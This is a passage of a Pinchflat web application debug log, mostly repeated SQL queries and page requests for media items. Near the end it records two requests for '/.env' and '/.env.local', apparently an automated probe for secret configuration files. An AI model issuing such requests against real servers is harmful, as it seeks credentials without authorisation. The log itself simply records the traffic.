s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:52:27.804 [debug] QUERY OK source="oban_jobs" db=0.4ms queue=0.1ms idle=402.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7248] 04:52:27.804 [debug] QUERY OK source="settings" db=0.0ms idle=106.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:27.805 [debug] QUERY OK source="settings" db=0.0ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:27.805 [debug] QUERY OK source="settings" db=0.0ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:27.805 [debug] QUERY OK source="media_profiles" db=0.0ms idle=2.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:52:27.807 [info] Sent 200 in 7ms 04:52:27.944 [info] GET /sources/30/media/141039 04:52:27.944 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141039", "source_id" => "30"} Pipelines: [:browser] 04:52:27.945 [debug] QUERY OK source="media_items" db=0.6ms idle=140.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141039] 04:52:27.947 [debug] QUERY OK source="tasks" db=0.6ms idle=141.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141039] 04:52:27.948 [debug] QUERY OK source="sources" db=1.1ms idle=141.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:52:27.949 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=143.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7246] 04:52:27.950 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=143.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:27.951 [debug] QUERY OK source="settings" db=0.3ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:27.952 [debug] QUERY OK source="settings" db=0.4ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:27.955 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.2ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:52:27.960 [info] Sent 200 in 16ms 04:52:29.158 [info] GET /sources/31/media/91114 04:52:29.159 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "91114", "source_id" => "31"} Pipelines: [:browser] 04:52:29.160 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=1209.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91114] 04:52:29.162 [debug] QUERY OK source="tasks" db=1.1ms queue=0.2ms idle=1210.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [91114] 04:52:29.162 [debug] QUERY OK source="sources" db=1.2ms idle=1208.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:52:29.165 [debug] QUERY OK source="oban_jobs" db=1.0ms idle=1208.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6792, 6810, 6829, 6848, 6865, 6883, 6910, 6928, 6945, 6964, 6981, 6997, 7014, 7030, 7048, 7064, 7081, 7098, 7114, 7131, 7147, 7165, 7181, 7198, 7217, 7234, 7253, 7269, 7286] 04:52:29.165 [debug] QUERY OK source="settings" db=0.0ms idle=463.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:29.165 [debug] QUERY OK source="settings" db=0.1ms idle=5.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:29.166 [debug] QUERY OK source="settings" db=0.2ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:29.167 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:52:29.170 [info] Sent 200 in 11ms 04:52:30.077 [info] GET /sources/31/media/90907 04:52:30.078 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90907", "source_id" => "31"} Pipelines: [:browser] 04:52:30.079 [debug] QUERY OK source="media_items" db=0.8ms idle=913.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90907] 04:52:30.081 [debug] QUERY OK source="tasks" db=1.2ms queue=0.1ms idle=914.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90907] 04:52:30.082 [debug] QUERY OK source="sources" db=1.1ms idle=914.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:52:30.083 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=915.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6791, 6809, 6828, 6847, 6864, 6882, 6909, 6927, 6944, 6963, 6980, 6996, 7013, 7029, 7047, 7063, 7080, 7097, 7113, 7130, 7146, 7164, 7180, 7197, 7216, 7233, 7252, 7268, 7285] 04:52:30.084 [debug] QUERY OK source="settings" db=0.1ms idle=380.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:30.084 [debug] QUERY OK source="settings" db=0.0ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:30.084 [debug] QUERY OK source="settings" db=0.1ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:30.085 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:52:30.088 [info] Sent 200 in 11ms 04:52:30.297 [info] GET /sources/31/media/90892 04:52:30.297 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90892", "source_id" => "31"} Pipelines: [:browser] 04:52:30.298 [info] GET /sources/31/media/90894 04:52:30.299 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90894", "source_id" => "31"} Pipelines: [:browser] 04:52:30.299 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=215.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90892] 04:52:30.299 [debug] QUERY OK source="media_items" db=0.5ms idle=215.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90894] 04:52:30.299 [info] GET /sources/31/media/90767 04:52:30.300 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90767", "source_id" => "31"} Pipelines: [:browser] 04:52:30.300 [debug] QUERY OK source="sources" db=0.6ms idle=214.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:52:30.300 [debug] QUERY OK source="tasks" db=0.7ms idle=215.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90892] 04:52:30.300 [debug] QUERY OK source="tasks" db=0.2ms queue=0.1ms idle=214.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90894] 04:52:30.300 [debug] QUERY OK source="sources" db=0.5ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:52:30.300 [debug] QUERY OK source="media_items" db=0.5ms idle=0.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90767] 04:52:30.301 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=0.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6789, 6807, 6826, 6845, 6862, 6880, 6907, 6925, 6942, 6961, 6978, 6994, 7011, 7027, 7045, 7061, 7078, 7095, 7111, 7128, 7144, 7162, 7178, 7195, 7214, 7231, 7250, 7266, 7283] 04:52:30.301 [debug] QUERY OK source="tasks" db=0.7ms idle=0.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90767] 04:52:30.302 [debug] QUERY OK source="sources" db=1.0ms idle=0.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:52:30.302 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:30.302 [debug] QUERY OK source="oban_jobs" db=1.5ms idle=0.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6790, 6808, 6827, 6846, 6863, 6881, 6908, 6926, 6943, 6962, 6979, 6995, 7012, 7028, 7046, 7062, 7079, 7096, 7112, 7129, 7145, 7163, 7179, 7196, 7215, 7232, 7251, 7267, 7284] 04:52:30.303 [debug] QUERY OK source="settings" db=0.3ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:30.303 [debug] QUERY OK source="oban_jobs" db=0.9ms idle=1.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6788, 6806, 6825, 6844, 6861, 6879, 6906, 6924, 6941, 6960, 6977, 6993, 7010, 7026, 7044, 7060, 7077, 7094, 7110, 7127, 7143, 7161, 7177, 7194, 7213, 7230, 7249, 7265, 7282] 04:52:30.304 [debug] QUERY OK source="settings" db=0.5ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:30.304 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:30.304 [debug] QUERY OK source="settings" db=0.3ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:30.304 [debug] QUERY OK source="settings" db=0.5ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:30.305 [debug] QUERY OK source="settings" db=0.3ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:30.305 [debug] QUERY OK source="settings" db=0.3ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:30.305 [debug] QUERY OK source="media_profiles" db=0.6ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:52:30.305 [debug] QUERY OK source="settings" db=0.1ms queue=0.2ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:30.306 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:52:30.306 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:52:30.310 [info] Sent 200 in 10ms 04:52:30.310 [info] Sent 200 in 13ms 04:52:30.312 [info] Sent 200 in 14ms 04:52:35.722 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:52:43.760 [info] GET /.env.local 04:52:43.760 [info] GET /.env 04:52:43.762 [debug] QUERY OK source="settings" db=0.9ms idle=226.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", 